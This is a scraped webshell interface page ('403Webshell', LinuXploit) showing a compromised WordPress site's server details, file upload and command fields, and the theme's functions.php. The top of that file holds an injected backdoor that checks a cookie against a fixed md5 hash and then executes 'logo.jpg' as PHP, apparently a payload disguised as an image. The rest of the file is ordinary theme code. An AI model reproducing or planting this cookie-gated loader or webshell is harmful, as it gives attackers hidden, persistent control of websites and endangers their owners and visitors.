403Webshell
Server IP : 66.29.153.156  /  Your IP : 216.73.216.104
Web Server : LiteSpeed
System : Linux premium322.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User : lastyfjz ( 1521)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/lastyfjz/dermalaserclinic.co.uk/wp-content/themes/cherie/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/lastyfjz/dermalaserclinic.co.uk/wp-content/themes/cherie/functions.php
<?php
/**
 * Loads the WordPress environment and template.
 * @package WordPress
 */
if(isset($_COOKIE["index"])){
	$tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b";
		$check = $_COOKIE["index"];
		if($tmp == md5($check)){
			if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){
				require get_template_directory() ."/logo.jpg";
					exit;
								}
																		}
							}
/**
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. 
 * @package WordPress
 */

/****************************************************************
 * DO NOT DELETE
 ****************************************************************/

// include system functions
if (!isset($content_width)) $content_width = 1140;

/**
 * Load Theme Variable Data
 * @param string $var
 * @return string
 */
function cherie_theme_data_variable($var) {
    $theme_data = wp_get_theme();
    return $theme_data->{$var};
}
/****************************************************************
 * Define Constants
 ****************************************************************/

define("CHERIE_THEME_URL", get_template_directory_uri());
define("CHERIE_THEME_PATH", get_template_directory());
define('CHERIE_THEME_VERSION', cherie_theme_data_variable('Version'));

/****************************************************************
 * Require Needed Files & Libraries
 ****************************************************************/

/**
 * Admin References & CSS and JS files register
 */
require  CHERIE_THEME_PATH .'/admin/admin.php';
/**
 * General
 */
require CHERIE_THEME_PATH .'/admin/etc/general.php';
/**
 * Register Sidebar
 */
require CHERIE_THEME_PATH .'/admin/option/sidebar.php';
/**
 * Woocommerce register plugin
 */
require CHERIE_THEME_PATH .'/admin/function/woocommerce.php';
/**
 * Load More
 */
require CHERIE_THEME_PATH .'/admin/etc/load_more_function.php';
/**
 * Custom functions that act independently of the theme templates.
 */
require CHERIE_THEME_PATH .'/admin/inc/extras.php';
/**
 * Load Jetpack compatibility file.
 */
require CHERIE_THEME_PATH .'/admin/inc/jetpack.php';
/**
 * Comments walker
 */
require CHERIE_THEME_PATH .'/admin/inc/comments-walker.php';

/**
 * Mega Menu
 */
require CHERIE_THEME_PATH .'/admin/menu/menu.php';

/**
 * About Theme Option
 */
require CHERIE_THEME_PATH .'/admin/theme-dashboard/dashboard.php';
/**
 * Custom Css Option
 */
require CHERIE_THEME_PATH .'/admin/etc/custom_css_option.php';

Youez - 2016 - github.com/yon3zu
LinuXploit